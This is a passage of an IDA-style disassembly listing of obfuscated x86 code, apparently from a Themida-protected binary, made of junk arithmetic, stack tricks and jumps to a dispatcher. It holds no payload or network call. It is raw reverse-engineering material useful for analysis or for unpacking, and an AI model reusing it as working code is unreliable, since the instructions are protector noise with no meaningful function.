esi, 30CF0720h not esi sub esi, 2D64190h or esi, 64805264h push ecx push edx mov edx, 4A1301C8h add edx, 1B883D64h mov ecx, edx pop edx xor esi, ecx jmp loc_5552F8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5556DD: ; CODE XREF: Themida_:005524CFj pop ecx shl ecx, 1 not ecx inc ecx xor ecx, 67A2473Ah add ecx, 0ACBF30E0h jmp loc_554D2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_5556F4: ; CODE XREF: sub_5584F8+493j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] pop esp jmp loc_558209 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_555709: ; CODE XREF: Themida_:0055864Aj add edx, edi sub edx, 0D245731h push ebx mov bh, al mov [edx], bh pop ebx mov edx, [esp] jmp loc_554676 ; --------------------------------------------------------------------------- loc_55571F: ; CODE XREF: Themida_:00557FD9j sub eax, 50451B84h sub eax, 3D3B6881h sub eax, ebp jmp loc_553118 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555730: ; CODE XREF: sub_556A70+3AF3j mov ebx, 38h add ebx, edi push ecx sub esp, 4 mov [esp+14h+var_14], edi jmp loc_55B797 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555743: ; CODE XREF: Themida_:00558D02j mov cx, [esp] push ebx push esp jmp loc_55C35C ; --------------------------------------------------------------------------- loc_55574E: ; CODE XREF: Themida_:0055BC8Bj push 3DA8188Bh pop eax jmp loc_5557E6 ; --------------------------------------------------------------------------- loc_555759: ; CODE XREF: Themida_:005562D9j mov ebx, ebp pop ebp or ebx, 39FB2931h sub esp, 4 jmp loc_558F3F ; --------------------------------------------------------------------------- loc_55576D: ; CODE XREF: Themida_:00554A10j mov esp, [esp] push dword ptr [esp] pop eax push ecx jmp loc_551EA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55577A: ; CODE XREF: sub_556A70+1740j mov ebx, ebp pop ebp sub ebx, 400242D1h push eax mov eax, 2A9A4C92h jmp loc_5537D7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55578E: ; CODE XREF: Themida_:0055A5ACj pop edx add edx, edi push dword ptr [edx] push eax jmp loc_556581 ; --------------------------------------------------------------------------- loc_555799: ; CODE XREF: Themida_:00559561j pop esp push edi jmp loc_557676 ; =============== S U B R O U T I N E ======================================= sub_5557A0 proc near ; CODE XREF: sub_556A70+3CD3j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005523D2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055A003 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055C484 SIZE 0000001D BYTES sub esp, 4 mov [esp-4+arg_0], ecx jmp loc_55C484 sub_5557A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F87 loc_5557AE: ; CODE XREF: sub_559F87-20ECj or dl, bl pop ebx add dl, 0BFh mov cl, dl jmp loc_5519C9 ; END OF FUNCTION CHUNK FOR sub_559F87 ; --------------------------------------------------------------------------- loc_5557BB: ; CODE XREF: Themida_:00557D57j mov ebp, esp jmp loc_55CEE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5557C2: ; CODE XREF: sub_556A70+212j pop [esp+14h+var_14] pop esp jmp loc_5552D4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5557CB: ; CODE XREF: Themida_:00551E51j mov [esp], edx jmp loc_557FF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5557D3: ; CODE XREF: sub_556A70+605Cj pop esp jmp loc_552BEA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5557D9: ; CODE XREF: Themida_:0055B756j add esp, 4 neg ebp jmp loc_55C3E9 ; --------------------------------------------------------------------------- loc_5557E6: ; CODE XREF: Themida_:00555754j add eax, 648947E8h sub eax, 5AB11166h mov ebp, eax pop eax or ecx, ebp pop ebp jmp loc_555F46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55BDF1 loc_5557FB: ; CODE XREF: sub_55BDF1+10j mov edi, 138B7427h and ecx, edi pop edi push ebx jmp loc_55C704 ; END OF FUNCTION CHUNK FOR sub_55BDF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555809: ; CODE XREF: sub_556A70+5A9j and eax, edi pop edi or edx, eax shl edx, 1 push 5778h mov [esp+8+var_8], ebp mov ebp, 5FD37141h dec ebp jmp loc_557145 ; --------------------------------------------------------------------------- loc_555823: ; CODE XREF: sub_556A70-5CB9j pop [esp-4+arg_0] pop esp sub [esp-0Ch+arg_8], eax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558AE7 loc_555830: ; CODE XREF: sub_558AE7+3FA7j sub ebx, 2A0F53B5h mov esi, [esp+4+var_4] add esp, 4 jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_558AE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555844: ; CODE XREF: sub_556A70+4BE3j add esp, 4 pop [esp-0Ch+arg_8] pop esp sar word ptr [esp-14h+arg_10], cl pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555858: ; CODE XREF: Themida_:0055863Cj xor edx, 0FFFBFF88h add edi, edx pop edx add edi, 4 xchg edi, [esp] mov esp, [esp] add dword ptr [esp], 7A5C4BAEh add dword ptr [esp], 32A428EFh sub dword ptr [esp], 62AB7A4Ah add [esp], eax push esi mov esi, 62AB7A4Ah sub dword ptr [esp+4], 1B290341h add [esp+4], esi jmp loc_55143A ; --------------------------------------------------------------------------- loc_555899: ; CODE XREF: Themida_:00557CE7j mov edx, 1A7228AEh dec edx add edx, 6DEE31D0h sub edx, 88605A51h mov ebx, edx pop edx push 74BDh mov [esp], eax mov eax, 3EFE2024h jmp loc_557B78 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_5535DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5558D1: ; CODE XREF: sub_556A70+4890j inc ecx push ebx jmp loc_55547B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5558D8: ; CODE XREF: Themida_:0055432Fj mov ch, ah mov dl, ch mov ecx, [esp] add esp, 4 pop eax mov bh, dl pop edx pop cx add al, bh pop ebx jmp loc_55AFFA ; --------------------------------------------------------------------------- loc_5558F3: ; CODE XREF: Themida_:00559569j xor esi, [esp] pop esp imul cx, ax push cx pushf jmp loc_550A46 ; =============== S U B R O U T I N E ======================================= sub_555903 proc near ; CODE XREF: sub_556A70+4B14j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055190B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00551FF8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00553B78 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00554905 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00554AC9 SIZE 00000022 BYTES push ebx mov ebx, 0B53F2445h add edi, ebx pop ebx sub edx, 1746501Fh sub edx, edi add edx, 1746501Fh pop edi jmp loc_553B78 sub_555903 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_555930: ; CODE XREF: Themida_:0055BBFBj add edi, 0AAA04E08h jmp loc_553561 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55593B: ; CODE XREF: sub_556A70+684j pop esi add esi, 4 jmp loc_55197B ; --------------------------------------------------------------------------- loc_555947: ; CODE XREF: sub_556A70-4D0j or edi, 2D242C60h jmp loc_557C1E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555952: ; CODE XREF: Themida_:0055452Dj add ecx, 321C4CEh sub eax, ecx pop ecx push 268Ah mov [esp], ebp mov ebp, 10E0733h jmp loc_55498F ; --------------------------------------------------------------------------- loc_55596D: ; CODE XREF: Themida_:0055BEA7j mov dl, [esp] add esp, 2 push ebx mov bl, 0B4h dec bl xor bl, 0C8h add dl, bl pop ebx jmp loc_553F71 ; --------------------------------------------------------------------------- loc_555983: ; CODE XREF: Themida_:0055B327j pop ebx sub bl, dl jmp loc_55885F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553E6A loc_55598B: ; CODE XREF: sub_553E6A+7CC7j sub eax, ebp jmp loc_552667 ; END OF FUNCTION CHUNK FOR sub_553E6A ; --------------------------------------------------------------------------- loc_555992: ; CODE XREF: Themida_:00555D3Cj mov eax, [esp] jmp loc_554EE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_55599A: ; CODE XREF: sub_55B730-7950j mov ecx, [esp+0Ch+var_C] jmp loc_5599CC ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- loc_5559A2: ; CODE XREF: Themida_:00558119j sub esp, 4 jmp loc_55AD53 ; --------------------------------------------------------------------------- loc_5559AA: ; CODE XREF: Themida_:005590F1j mov esp, [esp] mov [esp], eax push esi mov esi, 7862E59h mov eax, 7862E59h xor eax, esi mov esi, [esp] jmp loc_55CB69 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_5559CD: ; CODE XREF: sub_552B74+6812j add edi, 525E64CEh sub esp, 4 mov [esp+8+var_8], ebx jmp loc_5526AA ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- push 54A6h mov [esp], ecx jmp loc_5542A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5559EE: ; CODE XREF: sub_556A70-4FB1j pop edi sub ecx, 7FA67942h jmp loc_55B80E ; --------------------------------------------------------------------------- loc_5559FA: ; CODE XREF: sub_556A70+98Cj mov [esp+0Ch+var_C], edi push esp pop edi push eax mov eax, 2F5C609Ch shr eax, 1 xor eax, 1373B67h and eax, 114675B0h push ecx mov ecx, 9435A41h jmp loc_558500 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555A1C: ; CODE XREF: Themida_:00551E1Bj mov esi, 2D2B4B08h neg esi or esi, 1ACF6F06h jmp loc_554D75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555A2E: ; CODE XREF: sub_556A70-5C9Dj xchg edi, [esp+0] jmp loc_550AE6 ; --------------------------------------------------------------------------- loc_555A36: ; CODE XREF: sub_556A70-2088j xor esi, [esp-8+arg_4] mov esp, [esp-8+arg_4] add byte ptr [esp-8+arg_4], al pushf jmp loc_558805 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555A45: ; CODE XREF: Themida_:00558B38j add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- loc_555A50: ; CODE XREF: Themida_:0055C9ADj mov edi, 4 add edx, edi mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], esi push edx mov edx, 517975F1h mov esi, 0AE868A11h jmp loc_55A277 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555A73: ; CODE XREF: sub_556A70-8A3j pop edi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-4+arg_0] pop esp jmp loc_558AE3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555A89: ; CODE XREF: Themida_:005527F6j pop esp mov [esp], dx push 5FBEh jmp loc_550C50 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55C26E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555AA1: ; CODE XREF: sub_556A70-54C3j add eax, esi pop esi pop ecx push eax pop edx pop eax add edx, edi push ecx mov ecx, 0 add ecx, edx add [ecx], ebp pop ecx pop edx jmp loc_5547BD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_555ABB: ; CODE XREF: sub_55B730+1711j pop ecx jmp sub_554E85 ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- loc_555AC1: ; CODE XREF: Themida_:0055C272j push 4 pop eax sub ebp, 304B73h add ebp, 2332465Ch jmp loc_552089 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555AD8: ; CODE XREF: sub_556A70+1C3j pop esp xchg ebx, [esp-1Ah+arg_14+2] mov esp, [esp-1Ah+arg_14+2] jmp loc_557C6E ; --------------------------------------------------------------------------- loc_555AE4: ; CODE XREF: sub_556A70+17C2j add ecx, 4 add ecx, 4 jmp loc_557C86 ; --------------------------------------------------------------------------- loc_555AF5: ; CODE XREF: sub_556A70+5D25j mov esi, [esp-1Ah+arg_14+2] jmp loc_5534C8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555AFD: ; CODE XREF: Themida_:0055B27Aj inc word ptr [esp] pushf jmp loc_5596EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555B07: ; CODE XREF: sub_556A70+3DB2j mov ecx, 11B77539h neg ecx xor ecx, 0D50FF898h sub eax, ecx pop ecx pop edi add edi, 38840A60h add edi, eax sub edi, 38840A60h pop eax jmp loc_55740D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555B2C: ; CODE XREF: Themida_:00553FDEj push ecx mov cl, 79h shl cl, 7 jmp loc_5569BF ; --------------------------------------------------------------------------- loc_555B37: ; CODE XREF: Themida_:00558992j add esi, 4 push ecx push edx push eax push 6BCC42FFh jmp loc_559977 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B403 loc_555B4A: ; CODE XREF: sub_55B403-162Cj pop ebx mov [edi+eax*4+1], ch mov ecx, [esp+0] add esp, 4 jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_55B403 ; --------------------------------------------------------------------------- loc_555B5D: ; CODE XREF: Themida_:00555072j pop edi push 45F2h mov [esp], eax mov eax, 2 add ebp, eax pop eax push ebp jmp loc_55278F ; --------------------------------------------------------------------------- loc_555B74: ; CODE XREF: Themida_:00556924j pop ebx jmp loc_553977 ; --------------------------------------------------------------------------- loc_555B7A: ; CODE XREF: Themida_:005521E3j mov [esp], ecx push eax mov ah, 57h jmp loc_556783 ; =============== S U B R O U T I N E ======================================= sub_555B85 proc near ; CODE XREF: sub_553651+167Aj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00550D50 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005511DD SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005516B1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00552998 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00553C39 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055974D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00559A17 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055A50C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055B4E2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055BB36 SIZE 00000014 BYTES push ebx mov ebx, 6BD23036h or ebx, 65FC586Ch jmp loc_559A17 sub_555B85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_555B96: ; CODE XREF: Themida_:00553D12j pop ecx sub esp, 4 mov [esp], eax mov eax, 4 sub ecx, 216A36C9h add ecx, 6FC603BAh add ecx, eax sub ecx, 6FC603BAh add ecx, 216A36C9h pop eax sub esp, 4 mov [esp], ebx mov ebx, 2 sub ecx, 44AA27B5h jmp loc_559273 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555BD3: ; CODE XREF: sub_556A70+4DBCj add ebp, 4 xchg ebp, [esp-26h+arg_20+2] mov esp, [esp-26h+arg_20+2] jmp loc_558DA8 ; --------------------------------------------------------------------------- loc_555BE4: ; CODE XREF: sub_556A70-51B5j sub edi, 0CFE2EDBCh add ebx, edi pop edi add ebx, 2 xchg ebx, [esp+0Ch+var_C] pop esp jmp loc_5541B9 ; --------------------------------------------------------------------------- loc_555BFC: ; CODE XREF: sub_556A70+15D3j add ecx, 1DD52461h dec ecx add ecx, 0CEB9EB8h add esi, ecx mov ecx, [esp+8+var_8] jmp loc_5578BB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555C13: ; CODE XREF: Themida_:00551113j push edx push eax push 3E7Ch mov [esp], ecx push 5BC02EAFh pop ecx sub esp, 4 mov [esp], ebx mov ebx, 5F121972h sub ecx, ebx pop ebx shr ecx, 8 or ecx, 194917D1h jmp loc_556182 ; --------------------------------------------------------------------------- loc_555C42: ; CODE XREF: Themida_:00554C93j add esi, ebp pop ebp jmp loc_555C5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555C4A: ; CODE XREF: sub_556A70+35AEj mov esp, [esp+8+var_8] xor bl, al movzx eax, al push dword ptr [edi+eax*4] push [esp+0Ch+var_C] jmp loc_5520FE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555C5D: ; CODE XREF: Themida_:00555C45j add eax, 127717B8h sub eax, esi sub eax, 127717B8h jmp loc_55AB86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555C6E: ; CODE XREF: sub_556A70+524Fj push edx jmp loc_551F95 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A748 loc_555C74: ; CODE XREF: sub_55A748-B55j add esi, 4 xchg esi, [esp+10h+var_10] jmp loc_551784 ; END OF FUNCTION CHUNK FOR sub_55A748 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555C82: ; CODE XREF: sub_556A70+188j mov bp, 24A3h xor di, bp pop bp xor di, 1AAEh or di, 3DEEh shl di, 5 sub di, 8C10h and cx, di pop edi xor cx, 7E6Fh jmp loc_5532DB ; --------------------------------------------------------------------------- loc_555CAC: ; CODE XREF: sub_556A70-5D2Ej add eax, ebx sub eax, 77107898h sub eax, 22DC0DEEh jmp loc_55B93B ; --------------------------------------------------------------------------- loc_555CBD: ; CODE XREF: sub_556A70+2F8j mov ebx, [esp-8+arg_4] jmp loc_551EE5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555CC5: ; CODE XREF: Themida_:00554773j add ebp, 36BC6470h add ebp, 5F8D3728h sub ebp, 62107A5Ch add ecx, ebp pop ebp push esi mov esi, 4 jmp loc_557567 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555CE5: ; CODE XREF: sub_556A70-13F9j xor eax, ebp push [esp-20h+arg_1C] pop ebp push ebp mov ebp, esp jmp loc_550FD9 ; --------------------------------------------------------------------------- loc_555CF3: ; CODE XREF: sub_556A70+40C0j push [esp-1Ch+arg_18] mov eax, [esp-18h+arg_14] push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, edx pop edx xor ecx, [esp-14h+arg_10] xor [esp-14h+arg_10], ecx xor ecx, [esp-14h+arg_10] jmp loc_551667 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555D19: ; CODE XREF: Themida_:00556558j add [esp+4], ecx mov ecx, [esp] add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- loc_555D28: ; CODE XREF: Themida_:00552ABEj sub ebp, 4D347D11h add ebp, eax add ebp, 4D347D11h sub ebp, 0ABC6925h jmp loc_555992 ; --------------------------------------------------------------------------- loc_555D41: ; CODE XREF: Themida_:005591C1j pop eax push 53A1h mov [esp], ebx mov ebx, 0EEAFBFECh add esi, 33196B72h add esi, ebx sub esi, 33196B72h jmp loc_557236 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555D62: ; CODE XREF: sub_556A70-51AAj push edx mov edx, 23423CB3h sub edx, 0E209DC9Eh jmp loc_556506 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555D73: ; CODE XREF: Themida_:0055697Dj sub [esp], esi pop esi push eax jmp loc_553557 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555D7D: ; CODE XREF: sub_556A70-222Bj dec ch sub ch, 0C2h sub ch, 5Eh sub al, ch pop ecx mov edx, [esp-14h+arg_10] add esp, 4 sub al, bl push ecx mov ch, 63h sub ch, 0FFh xor ch, 0FFh jmp loc_552C41 ; --------------------------------------------------------------------------- loc_555D9E: ; CODE XREF: sub_556A70+3AC5j mov eax, [esp-14h+arg_10] add esp, 4 jmp loc_5573DE ; --------------------------------------------------------------------------- loc_555DAC: ; CODE XREF: sub_556A70-62Ej mov esi, [esp-18h+arg_14] add esp, 4 jmp loc_550D02 ; --------------------------------------------------------------------------- loc_555DBA: ; CODE XREF: sub_556A70+5F4j add ecx, 4 xchg ecx, [esp-1Ch+arg_18] pop esp jmp loc_553082 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555DC6: ; CODE XREF: Themida_:00552B92j pop edx mov ebp, [esp] add esp, 4 jmp loc_552BB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555DD2: ; CODE XREF: sub_556A70-3124j push ecx push edi mov edi, 19125F4Ch mov ecx, 19125F50h sub ecx, edi mov edi, [esp-14h+arg_10] add esp, 4 add edi, ecx push [esp-18h+arg_14] pop ecx add esp, 4 add edi, 4 jmp loc_55565F ; --------------------------------------------------------------------------- loc_555E00: ; CODE XREF: sub_556A70+3C36j add edi, 4 push edi push [esp-18h+arg_18] pop edi pop [esp-18h+arg_14] pop esp add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- loc_555E1B: ; CODE XREF: sub_556A70+27DCj push 76B7h mov [esp-20h+arg_1C], esi mov esi, 26D1C1Ch sub [esp-20h+arg_20], esi push [esp-20h+arg_1C] jmp loc_55C5E9 ; --------------------------------------------------------------------------- loc_555E34: ; CODE XREF: sub_556A70+2B0j push edx push ebx mov bl, ch mov dh, bl pop ebx mov bl, dh pop edx push [esp-1Ch+arg_18] jmp loc_55A9DC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555E46: ; CODE XREF: Themida_:005528A7j mov ebp, 559C1C7Bh mov edi, ebp jmp loc_551C0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555E52: ; CODE XREF: sub_556A70-47C2j add esp, 4 jmp loc_55145B ; --------------------------------------------------------------------------- loc_555E5D: ; CODE XREF: sub_556A70-31D2j mov edx, [esp-10h+arg_C] push ebp mov ebp, esp add ebp, 4 jmp loc_554D97 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5599E2 loc_555E6E: ; CODE XREF: sub_5599E2-679Dj push [esp+8+var_8] pop ecx push ebx mov ebx, esp add ebx, 4 push esi jmp loc_55745E ; END OF FUNCTION CHUNK FOR sub_5599E2 ; --------------------------------------------------------------------------- loc_555E81: ; CODE XREF: Themida_:00558B78j dec ecx jmp loc_55B8D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AE68 loc_555E87: ; CODE XREF: sub_55AE68+1j mov ebx, 2F674F79h push ebx push ebp mov ebp, 62BF348Eh jmp loc_556D5C ; END OF FUNCTION CHUNK FOR sub_55AE68 ; --------------------------------------------------------------------------- loc_555E98: ; CODE XREF: Themida_:0055926Ej add esp, 4 push 23E4h mov [esp], ebx push 3E75h mov [esp], edx mov dl, 0F3h jmp loc_559483 ; --------------------------------------------------------------------------- loc_555EB2: ; CODE XREF: Themida_:00550AE1j push ecx jmp loc_5540F9 ; --------------------------------------------------------------------------- loc_555EB8: ; CODE XREF: Themida_:00552C23j push ecx mov ecx, 4 sub ebp, ecx jmp loc_55CCF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A9A4 loc_555EC5: ; CODE XREF: sub_55A9A4+11j mov cl, al pop eax jmp loc_55A80C ; END OF FUNCTION CHUNK FOR sub_55A9A4 ; --------------------------------------------------------------------------- loc_555ECD: ; CODE XREF: Themida_:0055AF94j push eax mov eax, esp push ebx mov ebx, 4 add eax, ebx jmp loc_558F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555EDD: ; CODE XREF: sub_556A70+969j sub al, ch pop ecx jmp loc_559281 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555EE5: ; CODE XREF: Themida_:00554C77j push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 add eax, ebx jmp loc_559D34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555EFA: ; CODE XREF: sub_556A70+5974j pop ebp push edi push eax mov eax, ebp jmp loc_554485 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555F04: ; CODE XREF: Themida_:00553CD0j or ebx, eax jmp loc_551A3C ; --------------------------------------------------------------------------- loc_555F0B: ; CODE XREF: Themida_:00553485j test cl, al pushf jmp loc_5511FF ; =============== S U B R O U T I N E ======================================= sub_555F13 proc near ; CODE XREF: sub_557EBA+25A8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055B8FB SIZE 00000005 BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] pop esp mov edx, ebx pop ebx jmp loc_55B8FB sub_555F13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555F2F: ; CODE XREF: sub_556A70+C6Cj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-0Ch+arg_8] pop esp mov [esp-10h+arg_C], esp jmp loc_550B90 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555F46: ; CODE XREF: Themida_:005557F6j sub ecx, 262E5A76h jmp loc_5515BE ; --------------------------------------------------------------------------- loc_555F51: ; CODE XREF: Themida_:0055243Bj mov [esp], esi push 565C1995h pop esi jmp loc_55486D ; --------------------------------------------------------------------------- loc_555F5F: ; CODE XREF: Themida_:0055AB55j pop edx push eax mov eax, 4 sub ebx, 4132071h add ebx, eax add ebx, 4132071h jmp loc_5575CC ; --------------------------------------------------------------------------- loc_555F79: ; CODE XREF: Themida_:0055C780j push 6FD1h mov [esp], esi push 149Ch mov [esp], esp push esi mov esi, 4 jmp loc_5536C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555F94: ; CODE XREF: sub_556A70+A9Aj xor edx, 0DEE00004h add ebx, edx pop edx push ecx jmp loc_555317 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_555FA3: ; CODE XREF: Themida_:00554E68j add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_55C556 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A748 loc_555FB4: ; CODE XREF: sub_55A748+1AB1j xchg edx, [esp+4+var_4] pop esp jmp loc_552DFE ; END OF FUNCTION CHUNK FOR sub_55A748 ; --------------------------------------------------------------------------- loc_555FBD: ; CODE XREF: Themida_:005592D4j pop esi xor ecx, [esp] jmp loc_553699 ; --------------------------------------------------------------------------- loc_555FC6: ; CODE XREF: Themida_:00557BDAj add esp, 4 push edi mov edi, 7EC46181h sub edi, 0FFFFFFFFh xor edi, 476B41F3h shr edi, 7 add edi, 0FF8CA1C4h add ebx, edi mov edi, [esp] add esp, 4 push esi mov esi, 4 add ebx, esi pop esi jmp loc_55C277 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_555FFD: ; CODE XREF: sub_556A70+613j push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], esi xor esi, [esp-0Ch+arg_8] pop esp mov [esp-10h+arg_C], ecx push ebx jmp loc_55A506 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_55601C: ; CODE XREF: sub_55B730-9BDj pop ebp sub ebp, 4CE60C68h add ebp, 47D178B6h add ebp, ebx sub ebp, 47D178B6h jmp loc_553DC5 ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_556036: ; CODE XREF: sub_556A70+40EFj mov edx, esp sub esp, 4 mov [esp-8+arg_4], eax mov eax, 4 add edx, eax jmp 